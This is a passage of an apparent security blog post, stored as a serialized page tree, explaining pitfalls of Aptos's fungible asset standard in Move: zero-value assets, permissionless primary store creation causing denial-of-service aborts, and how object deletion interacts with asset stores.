observability.",{"type":24,"tag":26485,"props":69007,"children":69008},{},[],{"type":24,"tag":25,"props":69010,"children":69011},{},[69012,69014,69019,69021,69026],{"type":29,"value":69013},"A curious reader might wonder, is there any other way to create or destroy a ",{"type":24,"tag":135,"props":69015,"children":69017},{"className":69016},[],[69018],{"type":29,"value":68297},{"type":29,"value":69020}," besides withdrawing, depositing or minting it? There is — anyone can create and destroy a zero-value ",{"type":24,"tag":135,"props":69022,"children":69024},{"className":69023},[],[69025],{"type":29,"value":68297},{"type":29,"value":41},{"type":24,"tag":261,"props":69028,"children":69030},{"className":10718,"code":69029,"language":10717,"meta":7,"style":7},"public fun destroy_zero(fungible_asset: FungibleAsset) {\n let FungibleAsset { amount, metadata: _ } = fungible_asset;\n assert!(amount == 0, error::invalid_argument(EAMOUNT_IS_NOT_ZERO));\n}\n\npublic fun zero\u003CT: key>(metadata: Object\u003CT>): FungibleAsset {\n FungibleAsset {\n metadata: object::convert(metadata),\n amount: 0,\n }\n}\n",[69031],{"type":24,"tag":135,"props":69032,"children":69033},{"__ignoreMap":7},[69034,69071,69123,69166,69173,69180,69252,69264,69302,69321,69328],{"type":24,"tag":271,"props":69035,"children":69036},{"class":273,"line":274},[69037,69041,69045,69050,69054,69059,69063,69067],{"type":24,"tag":271,"props":69038,"children":69039},{"style":630},[69040],{"type":29,"value":68461},{"type":24,"tag":271,"props":69042,"children":69043},{"style":630},[69044],{"type":29,"value":13924},{"type":24,"tag":271,"props":69046,"children":69047},{"style":598},[69048],{"type":29,"value":69049}," destroy_zero",{"type":24,"tag":271,"props":69051,"children":69052},{"style":288},[69053],{"type":29,"value":606},{"type":24,"tag":271,"props":69055,"children":69056},{"style":630},[69057],{"type":29,"value":69058},"fungible_asset",{"type":24,"tag":271,"props":69060,"children":69061},{"style":624},[69062],{"type":29,"value":12210},{"type":24,"tag":271,"props":69064,"children":69065},{"style":3887},[69066],{"type":29,"value":68326},{"type":24,"tag":271,"props":69068,"children":69069},{"style":288},[69070],{"type":29,"value":919},{"type":24,"tag":271,"props":69072,"children":69073},{"class":273,"line":284},[69074,69078,69082,69086,69090,69094,69099,69103,69107,69111,69115,69119],{"type":24,"tag":271,"props":69075,"children":69076},{"style":278},[69077],{"type":29,"value":10738},{"type":24,"tag":271,"props":69079,"children":69080},{"style":3887},[69081],{"type":29,"value":68326},{"type":24,"tag":271,"props":69083,"children":69084},{"style":288},[69085],{"type":29,"value":17293},{"type":24,"tag":271,"props":69087,"children":69088},{"style":630},[69089],{"type":29,"value":27994},{"type":24,"tag":271,"props":69091,"children":69092},{"style":288},[69093],{"type":29,"value":158},{"type":24,"tag":271,"props":69095,"children":69096},{"style":630},[69097],{"type":29,"value":69098},"metadata",{"type":24,"tag":271,"props":69100,"children":69101},{"style":624},[69102],{"type":29,"value":12210},{"type":24,"tag":271,"props":69104,"children":69105},{"style":630},[69106],{"type":29,"value":10773},{"type":24,"tag":271,"props":69108,"children":69109},{"style":288},[69110],{"type":29,"value":43870},{"type":24,"tag":271,"props":69112,"children":69113},{"style":624},[69114],{"type":29,"value":762},{"type":24,"tag":271,"props":69116,"children":69117},{"style":630},[69118],{"type":29,"value":68593},{"type":24,"tag":271,"props":69120,"children":69121},{"style":288},[69122],{"type":29,"value":1069},{"type":24,"tag":271,"props":69124,"children":69125},{"class":273,"line":294},[69126,69131,69135,69139,69143,69147,69152,69156,69161],{"type":24,"tag":271,"props":69127,"children":69128},{"style":598},[69129],{"type":29,"value":69130}," assert!",{"type":24,"tag":271,"props":69132,"children":69133},{"style":288},[69134],{"type":29,"value":606},{"type":24,"tag":271,"props":69136,"children":69137},{"style":630},[69138],{"type":29,"value":27994},{"type":24,"tag":271,"props":69140,"children":69141},{"style":624},[69142],{"type":29,"value":1031},{"type":24,"tag":271,"props":69144,"children":69145},{"style":477},[69146],{"type":29,"value":767},{"type":24,"tag":271,"props":69148,"children":69149},{"style":288},[69150],{"type":29,"value":69151},", error",{"type":24,"tag":271,"props":69153,"children":69154},{"style":624},[69155],{"type":29,"value":11207},{"type":24,"tag":271,"props":69157,"children":69158},{"style":598},[69159],{"type":29,"value":69160},"invalid_argument",{"type":24,"tag":271,"props":69162,"children":69163},{"style":288},[69164],{"type":29,"value":69165},"(EAMOUNT_IS_NOT_ZERO));\n",{"type":24,"tag":271,"props":69167,"children":69168},{"class":273,"line":303},[69169],{"type":24,"tag":271,"props":69170,"children":69171},{"style":288},[69172],{"type":29,"value":1171},{"type":24,"tag":271,"props":69174,"children":69175},{"class":273,"line":312},[69176],{"type":24,"tag":271,"props":69177,"children":69178},{"emptyLinePlaceholder":16},[69179],{"type":29,"value":327},{"type":24,"tag":271,"props":69181,"children":69182},{"class":273,"line":321},[69183,69187,69191,69196,69200,69204,69208,69212,69216,69220,69224,69228,69232,69236,69240,69244,69248],{"type":24,"tag":271,"props":69184,"children":69185},{"style":630},[69186],{"type":29,"value":68461},{"type":24,"tag":271,"props":69188,"children":69189},{"style":630},[69190],{"type":29,"value":13924},{"type":24,"tag":271,"props":69192,"children":69193},{"style":630},[69194],{"type":29,"value":69195}," zero",{"type":24,"tag":271,"props":69197,"children":69198},{"style":288},[69199],{"type":29,"value":801},{"type":24,"tag":271,"props":69201,"children":69202},{"style":3887},[69203],{"type":29,"value":13704},{"type":24,"tag":271,"props":69205,"children":69206},{"style":624},[69207],{"type":29,"value":12210},{"type":24,"tag":271,"props":69209,"children":69210},{"style":630},[69211],{"type":29,"value":13648},{"type":24,"tag":271,"props":69213,"children":69214},{"style":288},[69215],{"type":29,"value":15327},{"type":24,"tag":271,"props":69217,"children":69218},{"style":630},[69219],{"type":29,"value":69098},{"type":24,"tag":271,"props":69221,"children":69222},{"style":624},[69223],{"type":29,"value":12210},{"type":24,"tag":271,"props":69225,"children":69226},{"style":3887},[69227],{"type":29,"value":68347},{"type":24,"tag":271,"props":69229,"children":69230},{"style":288},[69231],{"type":29,"value":801},{"type":24,"tag":271,"props":69233,"children":69234},{"style":3887},[69235],{"type":29,"value":13704},{"type":24,"tag":271,"props":69237,"children":69238},{"style":288},[69239],{"type":29,"value":16104},{"type":24,"tag":271,"props":69241,"children":69242},{"style":624},[69243],{"type":29,"value":12210},{"type":24,"tag":271,"props":69245,"children":69246},{"style":3887},[69247],{"type":29,"value":68326},{"type":24,"tag":271,"props":69249,"children":69250},{"style":288},[69251],{"type":29,"value":7145},{"type":24,"tag":271,"props":69253,"children":69254},{"class":273,"line":330},[69255,69260],{"type":24,"tag":271,"props":69256,"children":69257},{"style":3887},[69258],{"type":29,"value":69259}," FungibleAsset",{"type":24,"tag":271,"props":69261,"children":69262},{"style":288},[69263],{"type":29,"value":7145},{"type":24,"tag":271,"props":69265,"children":69266},{"class":273,"line":339},[69267,69272,69276,69281,69285,69290,69294,69298],{"type":24,"tag":271,"props":69268,"children":69269},{"style":630},[69270],{"type":29,"value":69271}," metadata",{"type":24,"tag":271,"props":69273,"children":69274},{"style":624},[69275],{"type":29,"value":12210},{"type":24,"tag":271,"props":69277,"children":69278},{"style":288},[69279],{"type":29,"value":69280}," object",{"type":24,"tag":271,"props":69282,"children":69283},{"style":624},[69284],{"type":29,"value":11207},{"type":24,"tag":271,"props":69286,"children":69287},{"style":598},[69288],{"type":29,"value":69289},"convert",{"type":24,"tag":271,"props":69291,"children":69292},{"style":288},[69293],{"type":29,"value":606},{"type":24,"tag":271,"props":69295,"children":69296},{"style":630},[69297],{"type":29,"value":69098},{"type":24,"tag":271,"props":69299,"children":69300},{"style":288},[69301],{"type":29,"value":14453},{"type":24,"tag":271,"props":69303,"children":69304},{"class":273,"line":347},[69305,69309,69313,69317],{"type":24,"tag":271,"props":69306,"children":69307},{"style":630},[69308],{"type":29,"value":15165},{"type":24,"tag":271,"props":69310,"children":69311},{"style":624},[69312],{"type":29,"value":12210},{"type":24,"tag":271,"props":69314,"children":69315},{"style":477},[69316],{"type":29,"value":767},{"type":24,"tag":271,"props":69318,"children":69319},{"style":288},[69320],{"type":29,"value":638},{"type":24,"tag":271,"props":69322,"children":69323},{"class":273,"line":356},[69324],{"type":24,"tag":271,"props":69325,"children":69326},{"style":288},[69327],{"type":29,"value":4385},{"type":24,"tag":271,"props":69329,"children":69330},{"class":273,"line":365},[69331],{"type":24,"tag":271,"props":69332,"children":69333},{"style":288},[69334],{"type":29,"value":1171},{"type":24,"tag":25,"props":69336,"children":69337},{},[69338],{"type":29,"value":69339},"In theory, this shouldn’t pose a problem. After all, having zero of something doesn’t exactly qualify as ownership.",{"type":24,"tag":25,"props":69341,"children":69342},{},[69343,69345,69350],{"type":29,"value":69344},"In practice, the ability to freely mint and burn zero ",{"type":24,"tag":135,"props":69346,"children":69348},{"className":69347},[],[69349],{"type":29,"value":68439},{"type":29,"value":69351}," of any type could present a significant risk. During our reviews, we enountered many protocols that did not account for this possibility, leading to arithmetic errors, DoS logic bugs or inaccurate calculations. Keep in mind that edge case, we'll come back to this.",{"type":24,"tag":85,"props":69353,"children":69355},{"id":69354},"primary-and-secondary-stores",[69356],{"type":29,"value":69357},"Primary and secondary stores",{"type":24,"tag":25,"props":69359,"children":69360},{},[69361,69367,69369,69375,69377,69382],{"type":24,"tag":135,"props":69362,"children":69364},{"className":69363},[],[69365],{"type":29,"value":69366},"FungibleStores",{"type":29,"value":69368}," in comparison to ",{"type":24,"tag":135,"props":69370,"children":69372},{"className":69371},[],[69373],{"type":29,"value":69374},"CoinStores",{"type":29,"value":69376}," are not unique. Each user can have multiple ",{"type":24,"tag":135,"props":69378,"children":69380},{"className":69379},[],[69381],{"type":29,"value":68862},{"type":29,"value":69383}," objects for a given token!",{"type":24,"tag":25,"props":69385,"children":69386},{},[69387,69389,69396,69398,69403],{"type":29,"value":69388},"A primary fungible store is maintained via the aptly named ",{"type":24,"tag":32,"props":69390,"children":69393},{"href":69391,"rel":69392},"https://github.com/aptos-labs/aptos-core/blob/2bea962eac4743db6cc0ae2e8a2fd7fcc323b121/aptos-move/framework/aptos-framework/sources/primary_fungible_store.move",[36],[69394],{"type":29,"value":69395},"primary_fungible_store",{"type":29,"value":69397}," module. It's \"primary\" because of its deterministic location, which is calculated using the owner and the fungible asset's ",{"type":24,"tag":135,"props":69399,"children":69401},{"className":69400},[],[69402],{"type":29,"value":68356},{"type":29,"value":69404}," addresses. Users can also create a number of \"secondary\" fungible stores by themselves.",{"type":24,"tag":25,"props":69406,"children":69407},{},[69408],{"type":29,"value":69409},"One key feature of the primary fungible stores is their permissionless creation. This can lead to surprising denial of service bugs!",{"type":24,"tag":261,"props":69411,"children":69413},{"className":10718,"code":69412,"language":10717,"meta":7,"style":7},"public entry fun register(\n user: &signer, [...]\n) acquires [...] {\n [...]\n let wallet_store = create_primary_store(signer::address_of(sender), get_metadata());\n [...]\n}\n",[69414],{"type":24,"tag":135,"props":69415,"children":69416},{"__ignoreMap":7},[69417,69442,69474,69497,69513,69567,69582],{"type":24,"tag":271,"props":69418,"children":69419},{"class":273,"line":274},[69420,69424,69429,69433,69438],{"type":24,"tag":271,"props":69421,"children":69422},{"style":630},[69423],{"type":29,"value":68461},{"type":24,"tag":271,"props":69425,"children":69426},{"style":630},[69427],{"type":29,"value":69428}," entry",{"type":24,"tag":271,"props":69430,"children":69431},{"style":630},[69432],{"type":29,"value":13924},{"type":24,"tag":271,"props":69434,"children":69435},{"style":598},[69436],{"type":29,"value":69437}," register",{"type":24,"tag":271,"props":69439,"children":69440},{"style":288},[69441],{"type":29,"value":4028},{"type":24,"tag":271,"props":69443,"children":69444},{"class":273,"line":284},[69445,69450,69454,69458,69462,69466,69470],{"type":24,"tag":271,"props":69446,"children":69447},{"style":630},[69448],{"type":29,"value":69449}," user",{"type":24,"tag":271,"props":69451,"children":69452},{"style":624},[69453],{"type":29,"value":12210},{"type":24,"tag":271,"props":69455,"children":69456},{"style":624},[69457],{"type":29,"value":14858},{"type":24,"tag":271,"props":69459,"children":69460},{"style":630},[69461],{"type":29,"value":14863},{"type":24,"tag":271,"props":69463,"children":69464},{"style":288},[69465],{"type":29,"value":51803},{"type":24,"tag":271,"props":69467,"children":69468},{"style":624},[69469],{"type":29,"value":17298},{"type":24,"tag":271,"props":69471,"children":69472},{"style":288},[69473],{"type":29,"value":19475},{"type":24,"tag":271,"props":69475,"children":69476},{"class":273,"line":294},[69477,69481,69485,69489,69493],{"type":24,"tag":271,"props":69478,"children":69479},{"style":288},[69480],{"type":29,"value":8823},{"type":24,"tag":271,"props":69482,"children":69483},{"style":630},[69484],{"type":29,"value":14061},{"type":24,"tag":271,"props":69486,"children":69487},{"style":288},[69488],{"type":29,"value":30718},{"type":24,"tag":271,"props":69490,"children":69491},{"style":624},[69492],{"type":29,"value":17298},{"type":24,"tag":271,"props":69494,"children":69495},{"style":288},[69496],{"type":29,"value":68552},{"type":24,"tag":271,"props":69498,"children":69499},{"class":273,"line":303},[69500,69505,69509],{"type":24,"tag":271,"props":69501,"children":69502},{"style":288},[69503],{"type":29,"value":69504}," [",{"type":24,"tag":271,"props":69506,"children":69507},{"style":624},[69508],{"type":29,"value":17298},{"type":24,"tag":271,"props":69510,"children":69511},{"style":288},[69512],{"type":29,"value":19475},{"type":24,"tag":271,"props":69514,"children":69515},{"class":273,"line":312},[69516,69520,69525,69529,69534,69538,69542,69546,69550,69554,69558,69563],{"type":24,"tag":271,"props":69517,"children":69518},{"style":278},[69519],{"type":29,"value":10738},{"type":24,"tag":271,"props":69521,"children":69522},{"style":630},[69523],{"type":29,"value":69524}," wallet_store",{"type":24,"tag":271,"props":69526,"children":69527},{"style":624},[69528],{"type":29,"value":1712},{"type":24,"tag":271,"props":69530,"children":69531},{"style":598},[69532],{"type":29,"value":69533}," create_primary_store",{"type":24,"tag":271,"props":69535,"children":69536},{"style":288},[69537],{"type":29,"value":14917},{"type":24,"tag":271,"props":69539,"children":69540},{"style":624},[69541],{"type":29,"value":11207},{"type":24,"tag":271,"props":69543,"children":69544},{"style":598},[69545],{"type":29,"value":14926},{"type":24,"tag":271,"props":69547,"children":69548},{"style":288},[69549],{"type":29,"value":606},{"type":24,"tag":271,"props":69551,"children":69552},{"style":630},[69553],{"type":29,"value":68647},{"type":24,"tag":271,"props":69555,"children":69556},{"style":288},[69557],{"type":29,"value":22874},{"type":24,"tag":271,"props":69559,"children":69560},{"style":598},[69561],{"type":29,"value":69562},"get_metadata",{"type":24,"tag":271,"props":69564,"children":69565},{"style":288},[69566],{"type":29,"value":23122},{"type":24,"tag":271,"props":69568,"children":69569},{"class":273,"line":321},[69570,69574,69578],{"type":24,"tag":271,"props":69571,"children":69572},{"style":288},[69573],{"type":29,"value":69504},{"type":24,"tag":271,"props":69575,"children":69576},{"style":624},[69577],{"type":29,"value":17298},{"type":24,"tag":271,"props":69579,"children":69580},{"style":288},[69581],{"type":29,"value":19475},{"type":24,"tag":271,"props":69583,"children":69584},{"class":273,"line":330},[69585],{"type":24,"tag":271,"props":69586,"children":69587},{"style":288},[69588],{"type":29,"value":1171},{"type":24,"tag":25,"props":69590,"children":69591},{},[69592,69593,69599,69601,69607],{"type":29,"value":1422},{"type":24,"tag":135,"props":69594,"children":69596},{"className":69595},[],[69597],{"type":29,"value":69598},"create_primary_store",{"type":29,"value":69600}," function can introduce DoS vulnerabilities because it aborts if the store already exists. Using ",{"type":24,"tag":135,"props":69602,"children":69604},{"className":69603},[],[69605],{"type":29,"value":69606},"ensure_primary_store_exists",{"type":29,"value":69608}," is recommended to avoid such issues.",{"type":24,"tag":62,"props":69610,"children":69612},{"id":69611},"fungible-assets-and-objects",[69613],{"type":29,"value":69614},"Fungible assets and objects",{"type":24,"tag":25,"props":69616,"children":69617},{},[69618,69620,69625,69627,69634],{"type":29,"value":69619},"The fungible asset standard is not a standalone module. It has heavy dependencies on a sibling module, the ",{"type":24,"tag":135,"props":69621,"children":69623},{"className":69622},[],[69624],{"type":29,"value":56516},{"type":29,"value":69626}," module, introduced in ",{"type":24,"tag":32,"props":69628,"children":69631},{"href":69629,"rel":69630},"https://github.com/aptos-foundation/AIPs/blob/main/aips/aip-10.md",[36],[69632],{"type":29,"value":69633},"AIP-10",{"type":29,"value":41},{"type":24,"tag":10670,"props":69636,"children":69637},{},[69638],{"type":24,"tag":25,"props":69639,"children":69640},{},[69641,69645],{"type":24,"tag":271,"props":69642,"children":69643},{},[69644],{"type":29,"value":68236},{"type":29,"value":69646}," proposes a standard for Fungible Assets (FA) using Move Objects. In this model, any on-chain asset represented as an object can also be expressed as a fungible asset allowing for a single object to be represented by many distinct, yet interchangeable units of ownership.",{"type":24,"tag":25,"props":69648,"children":69649},{},[69650],{"type":29,"value":69651},"These two modules are closely intertwined, and their connection can be surprisingly intricate.",{"type":24,"tag":85,"props":69653,"children":69655},{"id":69654},"creation-and-deletion",[69656],{"type":29,"value":69657},"Creation and deletion",{"type":24,"tag":25,"props":69659,"children":69660},{},[69661,69663,69669],{"type":29,"value":69662},"To create a fungible resource, an undeletable object must first be created. \"Undeletable\" means, that it's not possible to get a permission to delete it. This is verified in ",{"type":24,"tag":135,"props":69664,"children":69666},{"className":69665},[],[69667],{"type":29,"value":69668},"fungible_asset::add_fungibility",{"type":29,"value":12210},{"type":24,"tag":261,"props":69671,"children":69673},{"className":10718,"code":69672,"language":10717,"meta":7,"style":7},"assert!(!object::can_generate_delete_ref(constructor_ref), error::invalid_argument(EOBJECT_IS_DELETABLE));\n",[69674],{"type":24,"tag":135,"props":69675,"children":69676},{"__ignoreMap":7},[69677],{"type":24,"tag":271,"props":69678,"children":69679},{"class":273,"line":274},[69680,69684,69688,69692,69697,69701,69706,69710,69715,69720,69724,69728],{"type":24,"tag":271,"props":69681,"children":69682},{"style":598},[69683],{"type":29,"value":49649},{"type":24,"tag":271,"props":69685,"children":69686},{"style":288},[69687],{"type":29,"value":606},{"type":24,"tag":271,"props":69689,"children":69690},{"style":624},[69691],{"type":29,"value":1818},{"type":24,"tag":271,"props":69693,"children":69694},{"style":288},[69695],{"type":29,"value":69696},"object",{"type":24,"tag":271,"props":69698,"children":69699},{"style":624},[69700],{"type":29,"value":11207},{"type":24,"tag":271,"props":69702,"children":69703},{"style":598},[69704],{"type":29,"value":69705},"can_generate_delete_ref",{"type":24,"tag":271,"props":69707,"children":69708},{"style":288},[69709],{"type":29,"value":606},{"type":24,"tag":271,"props":69711,"children":69712},{"style":630},[69713],{"type":29,"value":69714},"constructor_ref",{"type":24,"tag":271,"props":69716,"children":69717},{"style":288},[69718],{"type":29,"value":69719},"), error",{"type":24,"tag":271,"props":69721,"children":69722},{"style":624},[69723],{"type":29,"value":11207},{"type":24,"tag":271,"props":69725,"children":69726},{"style":598},[69727],{"type":29,"value":69160},{"type":24,"tag":271,"props":69729,"children":69730},{"style":288},[69731],{"type":29,"value":69732},"(EOBJECT_IS_DELETABLE));\n",{"type":24,"tag":25,"props":69734,"children":69735},{},[69736,69738,69743,69745,69750,69751,69758],{"type":29,"value":69737},"This object serves as the foundation for ownership tokens in the form of a ",{"type":24,"tag":135,"props":69739,"children":69741},{"className":69740},[],[69742],{"type":29,"value":68297},{"type":29,"value":69744},". This means that allowing it to be deletable wouldn't make sense and would impact the usability of such fungible assets, restricting users from accessing critical functionalities such as creating new stores. In the past the ",{"type":24,"tag":135,"props":69746,"children":69748},{"className":69747},[],[69749],{"type":29,"value":69668},{"type":29,"value":3360},{"type":24,"tag":32,"props":69752,"children":69755},{"href":69753,"rel":69754},"https://github.com/aptos-labs/aptos-core/commit/6976f8e9004b0f6ebb6fd976410d695c5a5a7ace",[36],[69756],{"type":29,"value":69757},"lacked this assert",{"type":29,"value":69759},", which we discovered and reported.",{"type":24,"tag":25,"props":69761,"children":69762},{},[69763,69768,69770,69775,69777,69782],{"type":24,"tag":135,"props":69764,"children":69766},{"className":69765},[],[69767],{"type":29,"value":69668},{"type":29,"value":69769}," transfers the ",{"type":24,"tag":135,"props":69771,"children":69773},{"className":69772},[],[69774],{"type":29,"value":68356},{"type":29,"value":69776}," and associated resources to this new object. After that, with the appropriate permissions, the ",{"type":24,"tag":135,"props":69778,"children":69780},{"className":69779},[],[69781],{"type":29,"value":68297},{"type":29,"value":69783}," can be minted, representing a share of ownership in that object.",{"type":24,"tag":261,"props":69785,"children":69787},{"className":10718,"code":69786,"language":10717,"meta":7,"style":7},"/// Make an existing object fungible by adding the Metadata resource.\npublic fun add_fungibility(\n [...]\n): Object\u003CMetadata> {\n [...]\n move_to(metadata_object_signer,\n Metadata {\n name,\n symbol,\n decimals,\n icon_uri,\n project_uri,\n }\n );\n[...]\n}\n",[69788],{"type":24,"tag":135,"props":69789,"children":69790},{"__ignoreMap":7},[69791,69799,69819,69834,69861,69876,69897,69909,69921,69933,69945,69957,69969,69976,69983,69998],{"type":24,"tag":271,"props":69792,"children":69793},{"class":273,"line":274},[69794],{"type":24,"tag":271,"props":69795,"children":69796},{"style":2058},[69797],{"type":29,"value":69798},"/// Make an existing object fungible by adding the Metadata resource.\n",{"type":24,"tag":271,"props":69800,"children":69801},{"class":273,"line":284},[69802,69806,69810,69815],{"type":24,"tag":271,"props":69803,"children":69804},{"style":630},[69805],{"type":29,"value":68461},{"type":24,"tag":271,"props":69807,"children":69808},{"style":630},[69809],{"type":29,"value":13924},{"type":24,"tag":271,"props":69811,"children":69812},{"style":598},[69813],{"type":29,"value":69814}," add_fungibility",{"type":24,"tag":271,"props":69816,"children":69817},{"style":288},[69818],{"type":29,"value":4028},{"type":24,"tag":271,"props":69820,"children":69821},{"class":273,"line":294},[69822,69826,69830],{"type":24,"tag":271,"props":69823,"children":69824},{"style":288},[69825],{"type":29,"value":69504},{"type":24,"tag":271,"props":69827,"children":69828},{"style":624},[69829],{"type":29,"value":17298},{"type":24,"tag":271,"props":69831,"children":69832},{"style":288},[69833],{"type":29,"value":19475},{"type":24,"tag":271,"props":69835,"children":69836},{"class":273,"line":303},[69837,69841,69845,69849,69853,69857],{"type":24,"tag":271,"props":69838,"children":69839},{"style":288},[69840],{"type":29,"value":2693},{"type":24,"tag":271,"props":69842,"children":69843},{"style":624},[69844],{"type":29,"value":12210},{"type":24,"tag":271,"props":69846,"children":69847},{"style":3887},[69848],{"type":29,"value":68347},{"type":24,"tag":271,"props":69850,"children":69851},{"style":288},[69852],{"type":29,"value":801},{"type":24,"tag":271,"props":69854,"children":69855},{"style":3887},[69856],{"type":29,"value":68356},{"type":24,"tag":271,"props":69858,"children":69859},{"style":288},[69860],{"type":29,"value":14997},{"type":24,"tag":271,"props":69862,"children":69863},{"class":273,"line":312},[69864,69868,69872],{"type":24,"tag":271,"props":69865,"children":69866},{"style":288},[69867],{"type":29,"value":69504},{"type":24,"tag":271,"props":69869,"children":69870},{"style":624},[69871],{"type":29,"value":17298},{"type":24,"tag":271,"props":69873,"children":69874},{"style":288},[69875],{"type":29,"value":19475},{"type":24,"tag":271,"props":69877,"children":69878},{"class":273,"line":321},[69879,69884,69888,69893],{"type":24,"tag":271,"props":69880,"children":69881},{"style":598},[69882],{"type":29,"value":69883}," move_to",{"type":24,"tag":271,"props":69885,"children":69886},{"style":288},[69887],{"type":29,"value":606},{"type":24,"tag":271,"props":69889,"children":69890},{"style":630},[69891],{"type":29,"value":69892},"metadata_object_signer",{"type":24,"tag":271,"props":69894,"children":69895},{"style":288},[69896],{"type":29,"value":638},{"type":24,"tag":271,"props":69898,"children":69899},{"class":273,"line":330},[69900,69905],{"type":24,"tag":271,"props":69901,"children":69902},{"style":3887},[69903],{"type":29,"value":69904}," Metadata",{"type":24,"tag":271,"props":69906,"children":69907},{"style":288},[69908],{"type":29,"value":7145},{"type":24,"tag":271,"props":69910,"children":69911},{"class":273,"line":339},[69912,69917],{"type":24,"tag":271,"props":69913,"children":69914},{"style":630},[69915],{"type":29,"value":69916}," name",{"type":24,"tag":271,"props":69918,"children":69919},{"style":288},[69920],{"type":29,"value":638},{"type":24,"tag":271,"props":69922,"children":69923},{"class":273,"line":347},[69924,69929],{"type":24,"tag":271,"props":69925,"children":69926},{"style":630},[69927],{"type":29,"value":69928}," symbol",{"type":24,"tag":271,"props":69930,"children":69931},{"style":288},[69932],{"type":29,"value":638},{"type":24,"tag":271,"props":69934,"children":69935},{"class":273,"line":356},[69936,69941],{"type":24,"tag":271,"props":69937,"children":69938},{"style":630},[69939],{"type":29,"value":69940}," decimals",{"type":24,"tag":271,"props":69942,"children":69943},{"style":288},[69944],{"type":29,"value":638},{"type":24,"tag":271,"props":69946,"children":69947},{"class":273,"line":365},[69948,69953],{"type":24,"tag":271,"props":69949,"children":69950},{"style":630},[69951],{"type":29,"value":69952}," icon_uri",{"type":24,"tag":271,"props":69954,"children":69955},{"style":288},[69956],{"type":29,"value":638},{"type":24,"tag":271,"props":69958,"children":69959},{"class":273,"line":374},[69960,69965],{"type":24,"tag":271,"props":69961,"children":69962},{"style":630},[69963],{"type":29,"value":69964}," project_uri",{"type":24,"tag":271,"props":69966,"children":69967},{"style":288},[69968],{"type":29,"value":638},{"type":24,"tag":271,"props":69970,"children":69971},{"class":273,"line":384},[69972],{"type":24,"tag":271,"props":69973,"children":69974},{"style":288},[69975],{"type":29,"value":7574},{"type":24,"tag":271,"props":69977,"children":69978},{"class":273,"line":393},[69979],{"type":24,"tag":271,"props":69980,"children":69981},{"style":288},[69982],{"type":29,"value":51322},{"type":24,"tag":271,"props":69984,"children":69985},{"class":273,"line":402},[69986,69990,69994],{"type":24,"tag":271,"props":69987,"children":69988},{"style":288},[69989],{"type":29,"value":4520},{"type":24,"tag":271,"props":69991,"children":69992},{"style":624},[69993],{"type":29,"value":17298},{"type":24,"tag":271,"props":69995,"children":69996},{"style":288},[69997],{"type":29,"value":19475},{"type":24,"tag":271,"props":69999,"children":70000},{"class":273,"line":411},[70001],{"type":24,"tag":271,"props":70002,"children":70003},{"style":288},[70004],{"type":29,"value":1171},{"type":24,"tag":26485,"props":70006,"children":70007},{},[],{"type":24,"tag":25,"props":70009,"children":70010},{},[70011,70013,70018,70020,70025],{"type":29,"value":70012},"Deletions can be a big issue even when dealing with objects that are eligible for deletion. For example, a ",{"type":24,"tag":135,"props":70014,"children":70016},{"className":70015},[],[70017],{"type":29,"value":68862},{"type":29,"value":70019}," is also an object, and a \"secondary\" ",{"type":24,"tag":135,"props":70021,"children":70023},{"className":70022},[],[70024],{"type":29,"value":68862},{"type":29,"value":70026}," can be created as deletable if empty. The catch is that deletion can occur both at the fungible asset level and at the object level.",{"type":24,"tag":261,"props":70028,"children":70030},{"className":10718,"code":70029,"language":10717,"meta":7,"style":7},"//Fungible asset\npublic fun remove_store(delete_ref: &DeleteRef)\n\n//Object\npublic fun delete(ref: DeleteRef)\n",[70031],{"type":24,"tag":135,"props":70032,"children":70033},{"__ignoreMap":7},[70034,70042,70084,70091,70099],{"type":24,"tag":271,"props":70035,"children":70036},{"class":273,"line":274},[70037],{"type":24,"tag":271,"props":70038,"children":70039},{"style":2058},[70040],{"type":29,"value":70041},"//Fungible asset\n",{"type":24,"tag":271,"props":70043,"children":70044},{"class":273,"line":284},[70045,70049,70053,70058,70062,70067,70071,70075,70080],{"type":24,"tag":271,"props":70046,"children":70047},{"style":630},[70048],{"type":29,"value":68461},{"type":24,"tag":271,"props":70050,"children":70051},{"style":630},[70052],{"type":29,"value":13924},{"type":24,"tag":271,"props":70054,"children":70055},{"style":598},[70056],{"type":29,"value":70057}," remove_store",{"type":24,"tag":271,"props":70059,"children":70060},{"style":288},[70061],{"type":29,"value":606},{"type":24,"tag":271,"props":70063,"children":70064},{"style":630},[70065],{"type":29,"value":70066},"delete_ref",{"type":24,"tag":271,"props":70068,"children":70069},{"style":624},[70070],{"type":29,"value":12210},{"type":24,"tag":271,"props":70072,"children":70073},{"style":624},[70074],{"type":29,"value":14858},{"type":24,"tag":271,"props":70076,"children":70077},{"style":3887},[70078],{"type":29,"value":70079},"DeleteRef",{"type":24,"tag":271,"props":70081,"children":70082},{"style":288},[70083],{"type":29,"value":694},{"type":24,"tag":271,"props":70085,"children":70086},{"class":273,"line":294},[70087],{"type":24,"tag":271,"props":70088,"children":70089},{"emptyLinePlaceholder":16},[70090],{"type":29,"value":327},{"type":24,"tag":271,"props":70092,"children":70093},{"class":273,"line":303},[70094],{"type":24,"tag":271,"props":70095,"children":70096},{"style":2058},[70097],{"type":29,"value":70098},"//Object\n",{"type":24,"tag":271,"props":70100,"children":70101},{"class":273,"line":312},[70102,70106,70110,70115,70119,70124,70128,70133],{"type":24,"tag":271,"props":70103,"children":70104},{"style":630},[70105],{"type":29,"value":68461},{"type":24,"tag":271,"props":70107,"children":70108},{"style":630},[70109],{"type":29,"value":13924},{"type":24,"tag":271,"props":70111,"children":70112},{"style":598},[70113],{"type":29,"value":70114}," delete",{"type":24,"tag":271,"props":70116,"children":70117},{"style":288},[70118],{"type":29,"value":606},{"type":24,"tag":271,"props":70120,"children":70121},{"style":278},[70122],{"type":29,"value":70123},"ref",{"type":24,"tag":271,"props":70125,"children":70126},{"style":624},[70127],{"type":29,"value":12210},{"type":24,"tag":271,"props":70129,"children":70130},{"style":3887},[70131],{"type":29,"value":70132}," DeleteRef",{"type":24,"tag":271,"props":70134,"children":70135},{"style":288},[70136],{"type":29,"value":694},{"type":24,"tag":25,"props":70138,"children":70139},{},[70140,70142,70148,70150,70155,70157,70162,70164,70169,70171,70177,70179,70185,70187,70192],{"type":29,"value":70141},"When ",{"type":24,"tag":135,"props":70143,"children":70145},{"className":70144},[],[70146],{"type":29,"value":70147},"object::delete",{"type":29,"value":70149}," removes the ",{"type":24,"tag":135,"props":70151,"children":70153},{"className":70152},[],[70154],{"type":29,"value":56516},{"type":29,"value":70156}," from a ",{"type":24,"tag":135,"props":70158,"children":70160},{"className":70159},[],[70161],{"type":29,"value":68862},{"type":29,"value":70163}," object, the 